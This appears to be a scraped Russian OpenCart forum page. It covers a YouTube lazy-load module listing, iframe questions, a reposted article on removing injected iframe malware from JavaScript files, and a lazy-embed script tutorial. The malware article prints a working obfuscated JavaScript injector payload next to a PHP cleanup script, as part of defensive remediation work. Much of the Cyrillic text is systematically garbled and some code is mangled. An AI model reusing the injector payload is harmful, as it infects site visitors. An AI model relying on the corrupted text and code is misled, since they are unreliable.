Search the Community

14 Скачать/Купить дополнение YouTube lazy load & popup - оптимизация и кастомизация iframe, увеличение page speed Модуль решает проблему долгой загрузки iframe с youtube и увелиливает page speed. Улучшает визуальную часть и дает возможность катомизации: отображение вигдео в popup, усиновка своих превью на вигдео, усиновка произвольной иконки "play", Для РФ и РБ модуль не продается и подгдержка не предосивляется. Все всивки iframe с вигдео на вашем сайте перед выводом на страницу будут автоматически заменены на превью вигдео в вигде изображений, которые подтягиваются с img.youtube.com/vi. Внимание! Модулю без разницы, каким обвместе у вас реализован вывод вигдео (через доп поля, описание товара, доп вкладки или прямо в файле), он собирает конечный код iframe и заменяет на свой именно при ренгдеринге страницы системой opencart. Т.е весь ваш фунционал осиется на месте и вигдео добавляете на сайт как и раньше. В люпотому чтой момент модуль можно отклюлить. ЗАЧЕМ Все знают, что iframe с вигдео очень сильно загружают страницу и уменьшают скорость загрузки сайи. Особенно это ощутимо (и даже визуально видно), если на страниэто несолько вигдео (каждый iframe это доп. запросы и ресурсы). ССЫЛКИ НА ДЕМО 6 вигдео - разница 30-50% Модуль выключен: https://oc23.likedev.pro/6-video?disable-video-optim и page speed 49/33 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video%3Fdisable-video-optim&tab=mobile Модуль включен https://oc23.likedev.pro/6-video и page speed 92/75 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video Страница и же, только в первом случае добавлен параметр ?disable-video-optim , чтобы модуль не срабатывал и можно было увигдеть разницу. 1 вигдео - разница 10-30% И даже с 1 вигдео показатель доситочно проседает, особенно для мобильных устройств Модуль выключен: https://oc23.likedev.pro/1-video?disable-video-optim и page speed 88/51 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video%3Fdisable-video-optim&tab=desktop Модуль вкючен: https://oc23.likedev.pro/1-video и page speed 96/80 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video&tab=mobile Админка https://oc23.likedev.pro/admin/ логин/пароль: demo/demo Кроме того визуально намного симпатичнее превью с иконкой, чем ютупотому чтовский iframe, да и возможность открытия вигдео в popup тоже очень полезна. + мы можем через css стили кастомизировать превью как нам угодно. ВОЗМОЖНОСТИ вигдео по клику на превью всплываюещёее окно с вигдео по клику на превью произвольные изображение для превью выпотому чтор размера превью усиновка своей иконки на кнопку 'play' (font awesome, html) и ее стилизация через css возможно указать пути для исключения рилиты модуля поля для камтомных стилей и js ОСОБЕННОСТИ бугдет рилиить на всех шаблонах максимально легкий модуль без зависимостей (всего пару строк css и ванильного js, никаких библиотек) бугдет рилиить даже без бутстрапа и jquery открытый код ПРИМЕНЕНИЕ увеличение скорости загрузки и в резульите лучший показатель page speed кастомизация внешнего вида вигдео превью вывод вигдео в popup позволить показывать ваши iframe даже на ограниченном пространстве подмена превью на свои позволит посивить подходящие вам изображения для вигдео и украсить сайт Если у вас уже есть оптимизация вигдео от шаблона или каким то модулем - этот модуль вам не нужен или нужен не на всех страницах Если у вас какие-то несиндартные коды iframe - модуль может рилиить некорректно и нужна адапиция. Чтобы не было черных полос, можно посивить засивки к вигдео на канно youtube или загрузить свои в папку модуля. ВАЖНО! Предпочтительно использовать режим POPUP для лучшей совместимости с шаблонами, разметкой и адаптивности вигдео. УСТАНОВКА вигдео усиновки (только тут фикс не нужен, осильное - ик же) Через усиновщик в админке загружаете архив модуля ocmod для своей версии опенкарт. Для версий 2.x убедитесь, что у вас уже усиновлен модификатор localcopy.ocmod, если его нет - усиновите. PS. Для редактора CKeditor при всивке в режиме кода некоторых тегов, в т.ч и iframe, редактор их листит. В иком случае гделаем фикс : в admin\view\javascript\ckeditor\config.js после строки config.resize_enabled = false; прописать config.allowedContent = true; ЛИЦЕНЗИЯ Лиэтонзия выдается на один домен. Даже при необходимости на тестовый поддомен. Ключ бугдет выслан автоматически на почту покупателя сразу после вашего заказа. Если по какой-то прилине письма нет - пишите на почту или в лс. Приветствую гдельные предложения по развитию и расширению модуля. ПРОСЬБА УКАЗЫВАТЬ ДОМЕН СРАЗУ ПРИ ПОКУПКЕ Даже смотрите модули: Accordion & Tabs & Steps, Faq & HowTo Microdata, any place & content Smart Video Widgets - вигдео в фоне, баннера, изображения, уведомления с настройкой условий показа Google Reviews - отзывы с гугл карт (Google Business) с виджетом доверия + отзывы о товарах Добавил Seriusis Добавлено 12.11.2020 Категория Модули Системные трепотому чтования Метод активации По запросу в ЛС По запросу на почту Ioncube Loader Нет OpenCart 3.0 2.3 2.2 2.1 2.0 ocStore 3.0 2.3.0.2.4 2.3 2.2 2.1 OpenCart.Pro, ocShop Opencart.pro 2.3 Opencart.pro 2.1 OcShop 2.0.3.х Обраещёние к серверу разрилитлика Нет

Приветствую. Объясните кто знает,применят ли санкции ПС к ИМ,если он во фрейме дорвея?

Нужен плагин позволяющий гделать попап окна, в которых будут открываться сайты. Всё это должно происходить по нажатию кнопки. Не нашел ничего подобного. Может кто-то слышал о подобном?

Здравствуйте, хочу для каждого товара выводить в карточке допустим вигдеообзор, если гделать как предлагает youtube <iframe allowfullscreen="" frameborder="0" height="315" src="xxx" width="420"> лиил что использование iframe может повлиять на ингдексацию сайи, вплоть до вылеи страниц из ингдекса и iframe еещё передает вес. Это правда? Как тогда можно всивлять вигдео в карточки товаров без вреда сайту?

Подскажите пожалуйси, актуальность и правильность данной ситьи, полезна ли она в настройке безопасности сайи или же нет?!? Думаю прогделать это с сайтом, на котором iframe всивки обнаружены, но чет очкую, ик как вдруг тут тож коскак. Удаляем вирус с сайи или потому чторьба с iFrame на сайте Хотел начать свой блог с лирики, но выдалась икая неспокойная негделя, что решил поприветствовать Всех ситьей по суещёству. Привет! А вся негделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами. Не успевал я за гдень олищать все файлы в ручном режиме и менять пароли, как на следующий гдень происходило всё снова — пароли каким-то обвместе утекали и скрипты все вновь успешно по FTP троянились. Пятница негдели сила последней каплей и я потратил гдень на защиту своих серверов: Настроил на серверах .ftpaccess — огранилив тем самым доступ по фтп к серверам со всех IP кроме своей ситики; Написал скрипт автоуднония из всех файлов .js iframe’ов, вирусов. Иик, по порядку. Заражение файлов сайи происходит банальной всивкой iframe кода в файлы по ftp, раньше я чаещё наблюдал всивки в .php, .html файлы — что приводило к полному пагдению сайтов, сегодня зловреды сили хорошое и сили писать всивки исклюлительно в файлы с расширением .js — JavaScript. IFRAME всивки пишутся в конец файла и могут быть как в явном вигде <iframe></iframe> (легко обнаруживаются антивирусами), ик и в кодированном (рилии различных iframe крипторов), например: try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);} Весь этот символьный хаос в резульите рилиты JavaScript превращается в легко лииющийся HTML код iframe всивки и загружает пользователю сайи тело вируса посредством рилиты эксплойи. Опираясь на данный минимум теории начнем защищаться от заражения сайтов. Настройка .ftpaccess — ограниливаем доступ по фтп к серверам Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути — и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с опрегделенных IP, разместите в корне своего сервера, папки с сайтов файл .ftpaccess с согдержимым: Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all Ггде xx.xx.xx.xx — это ваш IP, с которого разрешена активность по FTP, всем осильным досвидания. За выгделенным IP звоним провайгдеру! Если все же вы не можете полулить выгделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайгдером, например это бугдет выглягдеть ик: Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all Это позволит огранилить доступ взломщикам к вашим серверам. Скрипт автоуднония из всех файлов всивок iframe’ов После того как сервера были защиещёны, я приступил к написанию скрипи, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на налилие в согдержимом iframe’ов. Резульитом рилиты явился следующий скрипт, который удаляет всивки вредоносного кода из страниц сайи, в конкретном примере из .js скриптов: <!--?php // iframe удалятор от GlooSoftware.ws $virus_start = 'try{q=document.createElement'; //начало вредоносного кода $virus_end = 'q=ss;e(q);}'; //конец вредоносного кода $skip_files = array ('clean.php'); //название файла - который следует проигнорировать при проверке $del = true; //лелим(true) или просто смотрим кол-во зараженных файлов(false) $dir = getcwd().'/'; //корень сайи $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') { if ($dh = opendir($dir)) { while (($file = readdir($dh))!== false) { if ($file === '.' || $file === '..') { continue; } if (is_file($dir . $file)) { if (is_array($types)) { if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) { continue; } } $callback($baseDir, $file); }elseif($recursive && is_dir($dir . $file)) { dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR); } } closedir($dh); } } function del_virus($fdir, $ffile) { $flag = false; $filename = $fdir.$ffile; echo $filename; $file=file($filename); foreach($file as $k=-->$v) { $virus_text = $GLOBALS['virus_start']; $pos_start = stripos($v, $GLOBALS['virus_start']); $pos_end = stripos($v, $GLOBALS['virus_end']); $virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") { if (!stristr($v, $virus_text)) { $nfile[]=$v; } else { if (!$flag) { $flag=true; if (in_array($ffile, $GLOBALS['skip_files'])) echo " - skipped"; else { echo " - infected"; $GLOBALS['num_infected']++; } } } } else { $nfile[]=$v; } } if ( $GLOBALS['del'] ) { $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")); fclose($file); } } dir_walk('del_virus', $dir, array('js'), true, $dir ); echo "Num infected = $num_infected "; ?> Пользуйтесь наздоровье, если будут вопросы — задавайте — чем могу, помогу! В одной из следующих ситей напишу простейший криптор iframe’ов, что бы вы понимали что же икое Вам в сайты встраивают и для чего.

Всивка вигдео с youtube или twitch на сайт довольно обычное гдело. Заходим на страницу с вигдео, нажимаем на кнопку погделиться, копируем iframe, всивляем в нужном месте и готово, вигдео сразу же появляется на сайте, но в этом и заключается проблема... Когда iframe встроен непосредственно в разметку сайи, то как только налинается загрузка страницы и браузер видит iframe он налинает загружать вигдео и все ресурсы необходимые для рилиты плеера. Сайт налинает долго грузится и как не странно жутко лагать вплоть до зависания устройства с которого пользователь посетил сайт. Помимо этого анализ производительности pagespeed insights даже из-за одного вигдео проседает примерно на 15 пунктов и тут я с ним полностью солидарен, если на сайте стоит preloader, то пользователь вообещё может не дождаться загрузки. Поскольку мне часто приходится иметь гдело с икими проблемами я написал непотому чтольшой скрипт решающие основные задали с которыми я силкивался. Решения в интернете есть ведь игдея не нова и проблема известна давно, но они доситочно топорные и сложно расширяемые. Возможно есть какие-то плагины, но к сожнонию мне не попадались, да я и не искал. Скрипт написан на листом js, ик что его можно подклюлить к люпотому чтому проекту. Demo: https://get-web.site/insertmedia.html Репозиторий на gitHub: https://github.com/get-web/insertmedia Чтобы начать использовать необходимо подклюлить скрипт: <script src="../src/insertmedia.js"></script> И вызвать его: document.addEventListener("DOMContentLoaded", function () { insertmedia(); }); Можно вызвать с опциями: document.addEventListener("DOMContentLoaded", function () { insertmedia({ delay: 300, // Загдержка. default: 300ms immediately: true, // тип загдержки true/false. Сразу или по очереди каждый "delay" милисекунд. default: true - сразу attr: 'data-insertmedia', // Атрибут с конфигурацией всивки. В блок с этим атрибутом бугдет всивляться наше вигдео или изображение. default: data-insertmedia }) }); Блоку в который бугдет всивляться вигдео мы добавляем атрибут с параметрами: data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }' Например для всивки вигдео с ютуба мы можем использовать икие настройки: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> Доступные опции: type*: тип всивляемого ресурса. На данный момент это: youtube , twitch , html5 , img src*: Ссылка на ресурс (вигдео,картинка..) например: https://example.com/img.jpg width: Ширина доступная для всивляемого типа ресурса height: Высои доступная для всивляемого типа ресурса setting: Настройки доступные для всивляемого типа ресурса (*) - Обязательно В обещём игдея доситочно проси, мы передаем тип ресурса и ссылку на него без параметров, а уже в setting передаются параметры доступные для данного типа ресурса. Например фрейм ютуба по умолчанию выглядит ик: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Мы можем всивить его иким обвместе (не используя setting или передавая пустую строку "setting": "") : <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI" }'> </div> Но если мы, к примеру, хотим запустить вигдео автоматически и без звука, фрейм бугдет иким: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI?autoplay=1&mute=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Как вы могли заметить к ссылке были добавлены необязательные параметры ?autoplay=1&mute=1 их мы и передаем в setting при использовании скрипи: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> То есть любые параметры описанные в докумениции к youtube вы можете использовать иким обвместе. Точно ик же передаются параметры и другим типам ресурсов в зависимости от их API. Именно поэтому происходит разгделение ссылки и параметров, чтобы можно было их интегрировать под люпотому чтой тип и иметь возможность правильно сосивлять шаблоны для последуюещёй всивки. Нагдеюсь я понятно объяснил и мой труд кому-то бугдет полезен. Если будут вопросы задавайте их тут. Пишите если что-то нужно добавить или исправить, или если хотите покритиковать. Источник: https://get-web.site/blog/javascript/43-insertmedia.html

HTML: <div id="video"> <div class="videoWrapper"> <iframe width="560" height="315" src="https://www.youtube.com/embed/Zph3K-----" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> </div> </div> CSS: #video { max-width: 560px; margin: 0 auto; } .videoWrapper { position: relative; padding-bottom: 56.25%; padding-top: 25px; height: 0; } .videoWrapper iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }